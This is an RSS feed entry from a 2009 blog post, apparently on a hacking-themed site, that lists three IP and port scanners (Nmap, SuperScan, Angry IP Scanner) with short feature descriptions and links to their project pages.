<p><a name="intro">Nmap (&#8221;Network Mapper&#8221;) is a free and open source </a> utility for network exploration or security auditing.  Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.  It was designed to rapidly scan large networks, but works fine against single hosts.  Nmap runs on all major computer operating systems, and both console and graphical versions are available.</p>
<p><a href="http://www.nmap.org" target="_blank">www.nmap.org</a></p>
<p>2. <strong>Superscan :</strong></p>
<p>SuperScan is a powerful freeware TCP port scanner, that includes a variety of additional networking tools like ping, traceroute, HTTP HEAD, WHOIS and more. It uses multi-threaded and asynchronous techniques resulting in extremely fast and versatile scanning. You can perform ping scans and port scans using any IP range or specify a text file to extract addresses from. Other features include TCP SYN scanning, UDP scanning, HTML reports, built-in port description database, Windows host enumeration, banner grabbing and more.</p>
<p><a href="http://www.foundstone.com/us/resources/proddesc/superscan.htm" target="_blank">www.foundstone.com/us/resources/proddesc/superscan.htm</a></p>
<p>3. <strong>Angry Ip  Scanner :</strong></p>
<p>Angry IP Scanner (or simply <em>ipscan</em>) is an open-source and cross-platform network scanner designed to be fast and simple to use. It scans IP addresses and ports as well as has many other features.</p>
<p>It is widely used by network administrators and just curious users around the world, including large and small enterprises, banks, and government agencies.</p>
<p>It runs on <em>Linux</em>, <em>Windows</em>, and <em>Mac OS X</em>, possibly supporting other platforms as well.</p>
<p><a href="http://www.angryziber.com/w/Home" target="_blank">www.angryziber.com/w/Home</a></p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=33&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
